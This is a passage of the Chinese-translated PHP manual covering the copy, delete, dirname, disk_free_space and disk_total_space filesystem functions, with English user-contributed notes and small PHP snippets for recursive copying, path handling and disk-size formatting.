    /**
     * Copy file or folder from source to destination, it can do
     * recursive copy as well and is very smart
     * It recursively creates the dest file or directory path if there weren't exists
     * Situtaions :
     * - Src:/home/test/file.txt ,Dst:/home/test/b ,Result:/home/test/b -> If source was file copy file.txt name with b as name to destination
     * - Src:/home/test/file.txt ,Dst:/home/test/b/ ,Result:/home/test/b/file.txt -> If source was file Creates b directory if does not exsits and copy file.txt into it
     * - Src:/home/test ,Dst:/home/ ,Result:/home/test/** -> If source was directory copy test directory and all of its content into dest
     * - Src:/home/test/ ,Dst:/home/ ,Result:/home/**-> if source was direcotry copy its content to dest
     * - Src:/home/test ,Dst:/home/test2 ,Result:/home/test2/** -> if source was directoy copy it and its content to dest with test2 as name
     * - Src:/home/test/ ,Dst:/home/test2 ,Result:->/home/test2/** if source was directoy copy it and its content to dest with test2 as name
     * @todo
     *     - Should have rollback technique so it can undo the copy when it wasn't successful
     *  - Auto destination technique should be possible to turn off
     *  - Supporting callback function
     *  - May prevent some issues on shared enviroments : http://us3.php.net/umask
     * @param $source //file or folder
     * @param $dest ///file or folder
     * @param $options //folderPermission,filePermission
     * @return boolean
     */
    function smartCopy($source, $dest, $options=array('folderPermission'=>0755,'filePermission'=>0755))
    {
        $result=false;

        if (is_file($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if (!file_exists($dest)) {
                    cmfcDirectory::makeAll($dest,$options['folderPermission'],true);
                }
                $__dest=$dest."/".basename($source);
            } else {
                $__dest=$dest;
            }
            $result=copy($source, $__dest);
            chmod($__dest,$options['filePermission']);

        } elseif(is_dir($source)) {
            if ($dest[strlen($dest)-1]=='/') {
                if ($source[strlen($source)-1]=='/') {
                    //Copy only contents
                } else {
                    //Change parent itself and its contents
                    $dest=$dest.basename($source);
                    @mkdir($dest);
                    chmod($dest,$options['filePermission']);
                }
            } else {
                if ($source[strlen($source)-1]=='/') {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                } else {
                    //Copy parent directory with new name and all its content
                    @mkdir($dest,$options['folderPermission']);
                    chmod($dest,$options['filePermission']);
                }
            }

            $dirHandle=opendir($source);
            while($file=readdir($dirHandle))
            {
                if($file!="." && $file!="..")
                {
                     if(!is_dir($source."/".$file)) {
                        $__dest=$dest."/".$file;
                    } else {
                        $__dest=$dest."/".$file;
                    }
                    //echo "$source/$file ||| $__dest<br />";
                    $result=smartCopy($source."/".$file, $__dest, $options);
                }
            }
            closedir($dirHandle);

        } else {
            $result=false;
        }
        return $result;
    }
?>
gimmicklessgpt at gmail dot com 20-May-2009 04:04
Here's a simple recursive function to copy entire directories

Note to do your own check to make sure the directory exists that you first call it on.

<?php
function recurse_copy($src,$dst) {
    $dir = opendir($src);
    @mkdir($dst);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            if ( is_dir($src . '/' . $file) ) {
                recurse_copy($src . '/' . $file,$dst . '/' . $file);
            }
            else {
                copy($src . '/' . $file,$dst . '/' . $file);
            }
        }
    }
    closedir($dir);
}
?>
nensa at zeec dot biz 27-Jan-2009 11:44
When I recently had to copy a few millions of small files (< 1kb) from one NAS to another and for some reasons had to do that file by file I compared the following function with copy($src, $dest) and shell_exec("cp -r $src $dest").

Surprisingly stream_copy seamed to be slightly faster (at least in this specific context).

<?php
    function stream_copy($src, $dest)
    {
        $fsrc = fopen($src,'r');
        $fdest = fopen($dest,'w+');
        $len = stream_copy_to_stream($fsrc,$fdest);
        fclose($fsrc);
        fclose($fdest);
        return $len;
    }
?>
allasso residing at signalmesa dot com 28-Nov-2008 03:15
As far as recursive copy, something like this seems to work fine for me:

<?php
$output = shell_exec( " cp -r -a dir_source/* dir_dest 2>&1 " )
echo $output
?>

Of course you need to get all your permissions clear.  You can do the necessary stuff to use variables.

You could also do this to create the destination directory:

<?php
shell_exec( " cp -r -a dir_source dir_dest 2>&1 " )
?>

This will create a new directory called "dir_dest" if it does not already exist. This is a bit risky though if your situation is ambiguous, and you want to continue to make backups etc, 'cause if you do it twice you end up with:

dir_destination/dir_source

to avoid that one could do something like:

<?php
shell_exec( " mkdir dir_dest;  cp -r -a dir_source/* dir_dest 2>&1 " )
?>

Maybe someone can tell me when or why it would be better to use all that PHP code I see here.
jim dot mcgowen at cox dot net 14-Jul-2008 10:50
On Windows (not sure about Linux) copy will overwrite an existing file but will not change the case of the existing filename.

In other words if I have a file named "Myfile.txt" and I overwrite it using copy with a file named "MyFile.txt" it will overwrite it but the filename will remain "Myfile.txt".

If this is a problem (as it was for me) use unlink to delete the existing file first.
steve a h 20-Jun-2008 02:44
Don't forget; you can use copy on remote files, rather than doing messy fopen stuff.  e.g.

<?php
if(!@copy('http://someserver.com/somefile.zip','./somefile.zip'))
{
    $errors= error_get_last();
    echo "COPY ERROR: ".$errors['type'];
    echo "<br />\n".$errors['message'];
} else {
    echo "File copied from remote!";
}
?>
tom at r dot je 18-Jun-2008 08:30
It's worth noting that copy() sets the destination file's last modified time/date.
jtaylor -at- ashevillenc -dot- com 13-Feb-2007 12:48
It seems as though you can only use move_uploaded_file() once on a temporary file that has been uploaded through a form. Most likely the action this function takes destroys the temporary file after it has been moved, assuming permanent placement on a file system.

Attempting to use the function again in the same PHP script will return false and not move the file.

I ran into this when an image that was uploaded did not need resizing (smaller than a size threshold) and after moving the temporary upload to the "originals" directory, an attempt was made to again move the temporary file to another folder.

This behavior is understandable, but be careful - in this instance, I simply used copy() on the file that was already uploaded.
mspreij 27-Jan-2007 08:20
This function creates a new filename to use for a copy of the given filename, its behaviour was mostly sto^Wborrowed from how the OS X Finder (*1) does it.
Note it *doesn't* actually copy the file, it just returns the new name. I needed it to work regardless of data source (filesystem, ftp, etc).

It also tries to match the current name as neatly as possible:
foo.txt -> foo copy.txt -> foo copy 1.txt -> foo copy 2.txt [etc]
foo.bar.baz.jpg -> foo.bar.baz copy.jpg
foobar -> foobar copy -> foobar copy 1 [etc]
".txt" -> .txt copy, and "txt." -> txt. copy
file.longextension -> file.longextension copy

It keeps trying until it finds a name that is not yet taken in $list, or until it looped 500 times (change as needed).

If the renamed file becomes longer than max filename length, it starts chopping away at the end of the part before where it adds " copy": reallylong...filename.txt -> reallylong...filena copy.txt

<?php

// $orig = current name, of course
// $list = array of filenames in the target directory (if none given, it will still return a new name)
// $max = max length of filename
function duplicate_name($orig, $list = array(), $max = 64) {
  $ext = '';
  $counter = 0;
  $list = (array) $list;
  $max = (int) $max;
  $newname = $orig;
  do {
    $name = $newname; # name in, newname out
    if (preg_match('/ copy$| copy \d+$/', $name, $matches)) {
      // don't even check for extension, name ends with " copy[ digits]"
    // preg hereunder matches anything with at least one period in the middle and an extension of 1-5 characters
    }elseif (preg_match('/(.+)\.([^.]{1,5})$/', $name, $parts)) {
      // split to name & extension
      list($name, $ext) = array($parts[1], $parts[2]);
    }
    if (preg_match('/ copy (\d+)$/', $name, $digits)) {
      $newname = substr($name, 0, - strlen($digits[1])) . ($digits[1] + 1);
      # $cutlen is only used for the bit at the end where it checks on max filename length
      $cutlen = 6 + strlen($digits[1]+1); // ' copy ' + digits
    }elseif(preg_match('/ copy$/', $name, $digits)) {
      $newname = $name . ' 1';
      $cutlen = 7; // ' copy' + ' 1'
    }else{
      $newname = $name . ' copy';
      $cutlen = 5; // ' copy'
    }
    if ($ext) {
      $newname .= '.' . $ext;
      $cutlen += strlen($ext) + 1;
    }
    if ($max > 0) {
      if (strlen($newname) > $max) {
        $newname = substr($newname, 0, max($max - $cutlen, 0)) . substr($newname, -$cutlen);
        if (strlen($newname) > $max) {echo "duplicate_name() error: Can't keep the new name under given max length.\n"; return false;}
      }
    }
    if ($counter++ > 500) {echo "duplicate_name() error: Too many similarly named files or infinite while loop.\n"; return false;}
  } while (in_array($newname, $list));
  return $newname;
}

?>

*1) The Finder seems to check the extension vs a list of known extensions, this function considers it valid if it's 5 or fewer characters long.

ps. sorry for taking up so much space! :-)
cooper at asu dot ntu-kpi dot kiev dot ua 09-Mar-2006 04:32
It take me a long time to find out what the problem is when i've got an error on copy(). It DOESN'T create any directories. It only copies to existing path. So create directories before. Hope i'll help,
simonr_at_orangutan_dot_co_dot_uk 03-Sep-2004 01:54
Having spent hours tacking down a copy() error: Permission denied , (and duly worrying about chmod on winXP) , its worth pointing out that the 'destination' needs to contain the actual file name ! --- NOT just the path to the folder you wish to copy into.......
DOH !
hope this saves somebody hours of fruitless debugging
kadnan at yahoo dot com 29-Aug-2004 10:30
you can also try xcopy command by using Shell to move/copy files/folders from one place to another
here is the code:

<?php
exec('xcopy c:\\myfolder d:\\myfolder /e/i', $a, $a1);
?>

by executing this command, it will move folder along with all contents to destination.

-adnan


参见 unlink 或 unset

  • ? copy
  • dirname ?
  • PHP Manual
  • 文件系统函数
  • 参见 unlink 或 unset

delete

(None)

delete — 参见 unlink() 或 unset()

说明

在 PHP 语言里，没有 delete 关键词或函数。在这里，你若要删除文件，可以使用 unlink()。在本地作用域删除变量可使用 unset()。

参见

  • unlink() - 删除文件
  • unset() - 清除指定变量

User Contributed Notes

There are no user contributed notes for this page.


返回路径中的目录部分

  • ? delete
  • disk_free_space ?
  • PHP Manual
  • 文件系统函数
  • 返回路径中的目录部分

dirname

(PHP 4, PHP 5, PHP 7, PHP 8)

dirname — 返回路径中的目录部分

说明

dirname(string $path, int $levels = 1): string

给出一个包含有指向一个文件的全路径的字符串，本函数返回去掉文件名后的目录名，且目录深度为 levels 级。

Note:

dirname() 纯粹基于输入字符串操作， 它不会受实际文件系统和类似 ".." 的路径格式影响。

Caution

在 Windows 上，dirname() 假设当前设置的代码页，因此要查看具有多字节字符路径的正确目录名称，必须设置匹配的代码页。如果 path 包含当前代码页无效的字符，则 dirname() 的行为是未定义的。

在其它系统上，dirname() 假设 path 是以 ASCII 兼容编码进行编码的。否则函数的行为是未定义的。

参数

path

一个路径。

在 Windows 中，斜线（/）和反斜线（\）都可以用作目录分隔符。在其它环境下是斜线（/）。

levels

要向上的父目录数量。

整型，必须大于 0。

返回值

返回 path 的父目录。如果在 path 中没有斜线，则返回一个点（'.'），表示当前目录。否则返回的是把 path 中结尾的 /component（最后一个斜线以及后面部分）去掉之后的字符串。

Caution

Be careful when using this function in a loop that can reach the top-level directory as this can result in an infinite loop.

<?php
dirname('.'); // Will return '.'.
dirname('/'); // Will return `\` on Windows and '/' on *nix systems.
dirname('\\'); // Will return `\` on Windows and '.' on *nix systems.
dirname('C:\\'); // Will return 'C:\' on Windows and '.' on *nix systems.
?>

更新日志

版本 | 说明
7.0.0 | 添加可选的 levels 参数。

示例

Example #1 dirname() 例子

<?php
echo dirname("/etc/passwd") . PHP_EOL;
echo dirname("/etc/") . PHP_EOL;
echo dirname(".") . PHP_EOL;
echo dirname("C:\\") . PHP_EOL;
echo dirname("/usr/local/lib", 2);

以上示例的输出类似于：

/etc
/ (or \ on Windows)
.
C:\
/usr

参见

  • basename() - 返回路径中的文件名部分
  • pathinfo() - 返回文件路径的信息
  • realpath() - 返回规范化的绝对路径名

User Contributed Notes

bobray at softville dot com 28-Dec-2018 05:04
Be aware that if you call dirname(__FILE__) on Windows, you may get backslashes. If you then try to use str_replace() or preg_replace() to replace part of the path using forward slashes in your search pattern, there will be no match. You can normalize paths with $path = str_replace('\\',  '/' ,$path) before doing any transformations
qeremy (!) gmail 13-Dec-2015 01:01
After PHP 7;
<?php
print dirname("/usr/local/lib", 2); # /usr
?>

Before PHP 7;
<?php
print dirname(dirname("/usr/local/lib")); # /usr

# or
function dirname_with_levels($path, $levels = 1) {
    while ($levels--) {
        $path = dirname($path);
    }
    return $path;
}
print dirname_with_levels("/usr/local/lib", 2); # /usr
?>
y dot a dot dejong at singular dot of dot alumni dot utwente dot nl 22-Oct-2014 07:51
As of PHP 5.3.0, you can use __DIR__ as a replacement for dirname(__FILE__)
iam at shaz3e dot com 11-Mar-2014 01:34
File located locally in: F:\localhost\www\Shaz3e-ResponsiveFramework\S3-CMS\_source

Localhost Path: http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source/

Example 1: dirname($_SERVER['PHP_SELF']); //output:  /Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 2: "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']); //output:  http://s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source

Example 3: $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']); //output:  s3lab.com/Shaz3e-ResponsiveFramework/S3-CMS/_source
frederikreiss at gmx dot de 11-Sep-2013 09:55
what about a recursive dirname. To get $count levels up in a directory.

<?php

function r_dirname($path, $count=1){
    if ($count > 1){
       return dirname(r_dirname($path, --$count));
    }else{
       return dirname($path);
    }
}
Yousef Ismaeil Cliprz 18-Feb-2013 02:39
You can get best root path if you want to call a file from you project paths.

Make sure this define in your www/index.php

or the core file that inside www/ root.

<?php

/**
 * @def (string) DS - Directory separator.
 */
define("DS","/",true);

/**
 * @def (resource) BASE_PATH - get a base path.
 */
define('BASE_PATH',realpath(dirname(__FILE__)).DS,true);

?>

You can call any file any time without any problems

<?php

include BASE_PATH.'inc/class.php';

?>
minimalist at intelligence dot com 10-Mar-2012 05:33
If you want to get the parent parent directory of your script, you can use this:

<?php
 //Example script path: home/content/en/script.php
 $parentparentdir=basename(dirname(dirname(__FILE__)));
 echo $parentparentdir; //will output 'content'
?>
nhl261 at yahoo dot com 26-Jun-2011 08:54
As usual, to include or require a file, we use this
<?php
require dirname(__FILE__) . DIRECTORY_SEPARATOR . 'my_file.php';
?>

in rare case, we have current file existing at the root directory, dirname would return C:\ or / , then the line above contains 2 slashes \\ or //
To handle this this case, we use rtrim to clear slashes.
<?php
require rtrim(dirname(__FILE__), '/\\') . DIRECTORY_SEPARATOR . 'my_file.php';
?>

Also, another use of dirname is to get virtual directory (url path), the issue is the same as above, we have to check and process before concatenating strings
subzey at immelman dot ru 07-Sep-2010 09:51
In some situations (I can't locate the dependencies) basename and dirname may return incorrect values if parsed string is in UTF-8.

Like, dirname("glossary/задний-фокус") will return "glossary" and basename("glossary/задний-фокус") will return "-фокус".

Quickfix is
str_replace("!$!", "", dirname(str_replace("/", "!$!/!$!", $q)))
webyazilimci84 at gmail dot com 25-Nov-2009 06:06
In my mvc based framework i make BASE_PATH and BASE_URL definitions like the following and both work well in the framework without problem.

index.php :

define('BASE_PATH',realpath('.'));
define('BASE_URL', dirname($_SERVER["SCRIPT_NAME"]));

BASE_PATH is for server side inclusions.
BASE_URL is for client side inclusions (scripts, css files, images etc.)
ken dot forslund at hp dot com 29-May-2009 01:33
A key problem to hierarchical include trees is that PHP processes include paths relative to the original file, not the current including file.

A solution to that, is to prefix all include paths with:
<?php str_replace('//','/',dirname(__FILE__)); ?>

this will generate a base path relative to the current file, which will then allow an include behavior similar to C/C++.

thus, to include a file that is 1 in the parent directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'../parent.php'); ?>

to include a file that is in the same directory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'neighbor.php'); ?>

to include a file that is in a subdirectory:
<?php require_once( str_replace('//','/',dirname(__FILE__).'/') .'folder/sub.php'); ?>

Notice that all paths we reference must NOT begin with a /, and must be relative to the current file, in order to concatenate correctly.
joe dot naylor at gmail dot com 13-Dec-2008 10:07
The dirname function does not usually return a slash on the end, which might encourage you to create links using code like this:
$url = dirname($_SERVER['PHP_SELF']) . '/somepage.php';

However dirname returns a slash if the path you specify is the root, so $url in that case would become '//somepage.php'.  If you put that URL as the action on a form, for example, submitting the form will try to go to http://somepage.php.

I ran into this when I wrote a site on a url with a path, www.somehost.com/client/somepage.php, where the code above works great, but then wanted to put it on a subdomain, client.somehost.com/somepage.php, where things started breaking.

The best solution would be to create a function that generates absolute URLs and use that throughout the site, but creating a safe_dirname function (and an htaccess rewrite to fix double-slashes just in case) fixed the issue for me:

<?php
function safe_dirname($path)
{
   $dirname = dirname($path);
   return $dirname == '/' ? '' : $dirname;
}
?>
Tom 20-Jul-2008 11:13
Expanding on Anonymous' comment, this is not necessarily correct. If the user is using a secure protocol, this URL is inaccurate. This will work properly:

<?php

// Is the user using HTTPS?
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on')) ? 'https://' : 'http://';

// Complete the URL
$url .= $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']);

// echo the URL
echo $url;

?>
Anonymous 04-Jun-2008 01:01
A simple way to show the www path to a folder containing a file...

echo "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);
rmahase at gmail dot com 11-May-2008 11:31
this little function gets the top level public directory

eg. http://www.mysite.com/directory1/file.php

or http://www.mysite.com/directory1/directory2/directory3/file.php

will both return "directory1" ...which is the top level directory

<?php
function public_base_directory()
{
    //get public directory structure eg "/top/second/third"
    $public_directory = dirname($_SERVER['PHP_SELF']);
    //place each directory into array
    $directory_array = explode('/', $public_directory);
    //get highest or top level in array of directory strings
    $public_base = max($directory_array);

    return $public_base;
}
?>
ts at dev dot websafe dot pl 23-Mar-2008 03:55
Inside of script.php I needed to know the name of the containing directory. For example, if my script was in '/var/www/htdocs/website/somedir/script.php' i needed to know 'somedir' in a unified way.

The solution is:
<?php
$containing_dir = basename(dirname(__FILE__));
?>
Zingus J. Rinkle 10-Sep-2007 10:55
Most mkpath() function I saw listed here seem long and convoluted.
Here's mine:

<?php
  function mkpath($path)
  {
    if(@mkdir($path) or file_exists($path)) return true;
    return (mkpath(dirname($path)) and mkdir($path));
  }
?>

Untested on windows, but dirname() manual says it should work.
hans111 at yahoo dot com 26-Jan-2007 04:25
The same function but a bit improved, will use REQUEST_URI, if not available, will use PHP_SELF and if not available will use __FILE__, in this case, the function MUST be in the same file. It should work, both under Windows and *NIX.

<?php
function my_dir(){
    return end(explode('/', dirname(!empty($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : !empty($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : str_replace('\\','/',__FILE__))));
}

?>
Xedecimal at gmail dot com 24-Oct-2006 11:35
Getting absolute path of the current script:

<?php
dirname(__FILE__)
?>

Getting webserver relative path of the current script...

<?php
function GetRelativePath($path)
{
    $npath = str_replace('\\', '/', $path);
    return str_replace(GetVar('DOCUMENT_ROOT'), '', $npath);
}
?>

later on

<?php
GetRelativePath(dirname(__FILE__));
?>

If anyone has a better way, get to the constructive critisism!
legolas558 dot sourceforge comma net 10-Jul-2006 06:52
The best way to get the absolute path of the folder of the currently parsed PHP script is:

<?php

if (DIRECTORY_SEPARATOR=='/')
  $absolute_path = dirname(__FILE__).'/';
else
  $absolute_path = str_replace('\\', '/', dirname(__FILE__)).'/';

?>

This will result in an absolute unix-style path which works ok also on PHP5 under Windows, where mixing '\' and '/' may give troubles.

[EDIT by danbrown AT php DOT net: Applied author-supplied fix from follow-up note.]
renich at woralelandia dot com 10-Aug-2005 10:15
--- Edited by tularis@php.net ---
You could also have a look at the getcwd() function
--- End Edit ---

A nice "current directory" function.

function current_dir()
{
$path = dirname($_SERVER[PHP_SELF]);
$position = strrpos($path,'/') + 1;
print substr($path,$position);
}

current_dir();

I find this usefull for a lot of stuff! You can maintain a modular site with dir names as modules names. At least I would like PHP guys to add this to the function list!

If there is anything out there like it, please tell me.
klugg this-is-junk at tlen dot pl 18-Jul-2005 07:14
Attention with this. Dirname likes to mess with the slashes.
On Windows, Apache:

<?php
echo '$_SERVER[PHP_SELF]: ' . $_SERVER['PHP_SELF'] . '<br />';
echo 'Dirname($_SERVER[PHP_SELF]: ' . dirname($_SERVER['PHP_SELF']) . '<br>';
?>

prints out

$_SERVER[PHP_SELF]: /index.php
Dirname($_SERVER[PHP_SELF]: \
tobylewis at mac dot com 24-Jun-2005 06:52
Since the paths in the examples given only have two parts (e.g. "/etc/passwd") it is not obvious whether dirname returns the single path element of the parent directory or whether it returns the whole path up to and including the parent directory.  From experimentation it appears to be the latter.

e.g.

dirname('/usr/local/magic/bin');

returns '/usr/local/magic'  and not just 'magic'

Also it is not immediately obvious that dirname effectively returns the parent directory of the last item of the path regardless of whether the last item is a directory or a file.  (i.e. one might think that if the path given was a directory then dirname would return the entire original path since that is a directory name.)

Further the presense of a directory separator at the end of the path does not necessarily indicate that last item of the path is a directory, and so

dirname('/usr/local/magic/bin/');  #note final '/'

would return the same result as in my example above.

In short this seems to be more of a string manipulation function that strips off the last non-null file or directory element off of a path string.
Holger Th?lking 27-Apr-2005 03:31
If you merely want to find out wether a certain file is located within or underneath a certain directory or not, e.g. for White List validation, the following function might be useful to you:

<?php
  function in_dir ($file, $in_dir)
  {
      $dir    = realpath ($file);
      $in_dir = realpath ($in_dir);

      if (!is_dir ($file)) {
          $dir = dirname ($file);
      }

      do {
          if ($dir === $in_dir) {
              $is_in_dir = TRUE;
              break;
          }
      } while ($dir !== ($dir = dirname ($dir)));

      return (bool) @$is_in_dir;
  }
?>
soywiz at hotmail dot com 01-Jan-2004 06:41
You can use it to get parent directory:

dirname(dirname(__FILE__))

...include a file relative to file path:

include(dirname(__FILE__) . '/path/relative/file_to_include.php');

..etc.
andrey at php dot net 14-Jan-2003 07:02
Code for write permissions check:

<?php
error_reporting(E_ALL);
$dir_name = '/var/www/virtual/phpintra/htdocs/php/';
do {
    $b_is_writable = is_writable($dir_name);
    echo sprintf("Dir[%s]Writable[%s]\n", $dir_name, $b_is_writable? 'YES':'NO');
}while (($dir_name = dirname($dir_name)) !='/');
?>
rudecoder at yahoo dot com 11-Jan-2003 12:43
dirname can be used to create self referencing web scripts with the following one liner.

<?php
$base_url = str_replace($DOCUMENT_ROOT, "", dirname($PHP_SELF));
?>

Using this method on a file such as:

/home/mysite/public_html/wherever/whatever.php

will return:

/wherever

Now $base_url can be used in your HTML to reference other scripts in the same directory.

Example:

href='<?=$base_url?>/myscript.php'
dave at corecomm dot us 08-Jan-2003 10:20
I very much appreciated Fredrich Echol's suggestion (rwf at gpcom dot net) of how to find a base path, but found that it failed when the initial script was already in the root folder -- dirname('/rootscript.php')=='/' and dirname('/include/includescript.php')=='/include' which have the same number of slashes. This variation is what I'm now using:

<?php
if (!defined("BASE_PATH")) define('BASE_PATH', dirname($_SERVER['SCRIPT_NAME'])=='/' ? './' : str_repeat("../",  substr_count(dirname($_SERVER["SCRIPT_NAME"]), "/")));
?>

This explicitly checks for the root path (/) and uses './' as the base path if we're in the root folder.
I put this at/near the top of any file that calls another. (I used define for my own convenience; should work just fine with variables and without testing to see if you already did it.)

Note that in both cases (root-folder script and non-root-folder script), BASE_PATH will include a trailing slash. At least with Apache on Darwin (Mac OS X), you can include(BASE_PATH.'/myfile.php'); and the doubled slash won't cause any problems, giving the same result as include(BASE_PATH.'myfile.php'); .
tapken at engter dot de 30-Apr-2002 12:09
To get the directory of current included file:

<?php
dirname(__FILE__);
?>

For example, if a script called 'database.init.php' which is included from anywhere on the filesystem wants to include the script 'database.class.php', which lays in the same directory, you can use:

<?php
include_once(dirname(__FILE__) . '/database.class.php');
?>


返回目录中的可用空间

  • ? dirname
  • disk_total_space ?
  • PHP Manual
  • 文件系统函数
  • 返回目录中的可用空间

disk_free_space

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

disk_free_space — 返回目录中的可用空间

说明

disk_free_space(string $directory): float|false

给出一个包含有一个目录的字符串，本函数将根据相应的文件系统或磁盘分区返回可用的字节数。

参数

directory

文件系统目录或者磁盘分区。

Note:

如果指定了文件名而不是文件目录，这个函数的行为将并不统一，会因操作系统和 PHP 版本而异。

返回值

以浮点返回可用的字节数， 或者在失败时返回 false。

示例

Example #1 disk_free_space() 例子

<?php
// $df 包含根目录下可用的字节数
$df = disk_free_space("/");

//在 Windows 下:
$df_c = disk_free_space("C:");
$df_d = disk_free_space("D:");
?>

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

参见

  • disk_total_space() - 返回一个目录的磁盘总大小

User Contributed Notes

Jawira Portugal 27-Dec-2021 01:07
This is not documented yet.
If $directory is invalid, then disk_free_space() will return false and ALSO throw a Warning: "disk_free_space(): No such file or directory"
pavel at sunhater dot com 20-Jun-2019 11:58
<?php

function size($size, array $options=null) {

    $o = [
        'binary' => false,
        'decimalPlaces' => 2,
        'decimalSeparator' => '.',
        'thausandsSeparator' => '',
        'maxThreshold' => false, // or thresholds key
        'sufix' => [
            'thresholds' => ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y'],
            'decimal' => ' {threshold}B',
            'binary' => ' {threshold}iB'
        ]
    ];

    if ($options !== null)
        $o = array_replace_recursive($o, $options);

    $count = count($o['sufix']['thresholds']);
    $pow = $o['binary'] ? 1024 : 1000;

    for ($i = 0; $i < $count; $i++)

        if (($size < pow($pow, $i + 1)) ||
            ($i === $o['maxThreshold']) ||
            ($i === ($count - 1))
        )
            return

                number_format(
                    $size / pow($pow, $i),
                    $o['decimalPlaces'],
                    $o['decimalSeparator'],
                    $o['thausandsSeparator']
                ) .

                str_replace(
                    '{threshold}',
                    $o['sufix']['thresholds'][$i],
                    $o['sufix'][$o['binary'] ? 'binary' : 'decimal']
                );
}

var_dump(size(disk_free_space('/')));
// string(8) "14.63 GB"
var_dump(size(disk_free_space('/'), ['binary' => true]));
// string(9) "13.63 GiB"
var_dump(size(disk_free_space('/'), ['maxThreshold' => 2]));
// string(11) "14631.90 MB"
var_dump(size(disk_free_space('/'), ['binary' => true, 'maxThreshold' => 2]));
// string(12) "13954.07 MiB"

?>
Matthieu S 20-Dec-2016 11:41
On Windows, this also works with distant files, by using their full network path.

For instance, this will give the % of free disk space on the share "dir" from remote host "server" :
<?php
$path = "\\\\server\\dir";
echo(floor(100 * disk_free_space($disk) / disk_total_space($disk)));
?>

It can also work with drive letters mapped to a network path in certain cases.
somedude 23-Oct-2016 09:04
With respect to Linux filesystems, I'll point out that this function returns the space available in the current volume or mountpoint, not the total physical disk space.  That is, this function used on the '/root' volume shows the free space in /root, which is different from '/home', and so on.
Anonymous 21-Jul-2014 09:14
$si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );

you are missing the petabyte after terabyte

 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB'

should look like

 'B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'
wiede at gmx dot net 11-Apr-2011 05:36
Transformation is possible WITHOUT using loops:

<?php
    $bytes = disk_free_space(".");
    $si_prefix = array( 'B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB' );
    $base = 1024;
    $class = min((int)log($bytes , $base) , count($si_prefix) - 1);
    echo $bytes . '<br />';
    echo sprintf('%1.2f' , $bytes / pow($base,$class)) . ' ' . $si_prefix[$class] . '<br />';
?>
sam 17-Dec-2008 01:52
Nice, but please be aware of the prefixes.

SI specifies a lower case 'k' as 1'000 prefix.
It doesn't make sense to use an upper case 'K' as binary prefix,
while the decimal Mega (M and following) prefixes in SI are uppercase.
Furthermore, there are REAL binary prefixes since a few years.

Do it the (newest and recommended) "IEC" way:

KB's are calculated decimal; power of 10 (1000 bytes each)
KiB's are calculated binary; power of 2 (1024 bytes each).
The same goes for MB, MiB and so on...

Feel free to read:
http://en.wikipedia.org/wiki/Binary_prefix
root at mantoru dot de 06-Dec-2007 08:25
Note that disk_free_space() does an open_basedir check.
Nitrogen 10-Jan-2007 05:50
Another easy way to convert bytes to human readable sizes would be this:

<?php
function HumanSize($Bytes)
{
  $Type=array("", "kilo", "mega", "giga", "tera", "peta", "exa", "zetta", "yotta");
  $Index=0;
  while($Bytes>=1024)
  {
    $Bytes/=1024;
    $Index++;
  }
  return("".$Bytes." ".$Type[$Index]."bytes");
}
?>

It simply takes the $Bytes and divides it by 1024 bytes untill it's no longer over or equal to 1024, meanwhile it increases the $Index to allocate which suffix belongs to the return (adding 'bytes' to the end to save some space).
You can easily modify it so it's shorter, but I made it so it's more clearer.

Nitrogen.


返回一个目录的磁盘总大小

  • ? disk_free_space
  • diskfreespace ?
  • PHP Manual
  • 文件系统函数
  • 返回一个目录的磁盘总大小

disk_total_space

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

disk_total_space — 返回一个目录的磁盘总大小

说明

disk_total_space(string $directory): float|false

给出一个包含有一个目录的字符串，本函数将根据相应的文件系统或磁盘分区返回所有的字节数。 【译者注】本函数返回的是该目录所在的磁盘分区的总大小，因此在给出同一个磁盘分区的不同目录作为参数所得到的结果完全相同。 在 Unix 和 Windows 200x/XP 中都支持将一个磁盘分区加载为一个子目录，这时正确使用本函数就很有意义。

参数

directory

文件系统的目录或者磁盘分区。

返回值

以浮点返回一个目录的磁盘总大小字节数， 或者在失败时返回 false。

示例

Example #1 disk_total_space() 例子

<?php
// $df 包含 "/" 目录的磁盘大小
$ds = disk_total_space("/");

//在 Windows 下:
$ds = disk_total_space("C:");
$ds = disk_total_space("D:");
?>

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

参见

  • disk_free_space() - 返回目录中的可用空间

User Contributed Notes

ryan at designedbyrayn dot co dot uk 29-Jan-2014 09:06
<?php

//This is  a more readable way of viewing the returned float

// $Bytes contains the total number of bytes on "/"
$Bytes = disk_total_space("/");

function dataSize($Bytes)
{
$Type=array("", "kilo", "mega", "giga", "tera");
$counter=0;
while($Bytes>=1024)
{
$Bytes/=1024;
$counter++;
}
return("".$Bytes." ".$Type[$counter]."bytes");
}
?>
khumlo at gmail dot com 23-May-2010 01:36
PHP 6 has already come to the market but still there are no standard function that can help retrieve directory size as it has to calculate disk space such as disk_total_space. Although we can use system level call such as exec() and system(), it is too risky to enable these function. So we look for an alternate method so as to calculate directory size.

Sol: retrieving directory size using php

<?php

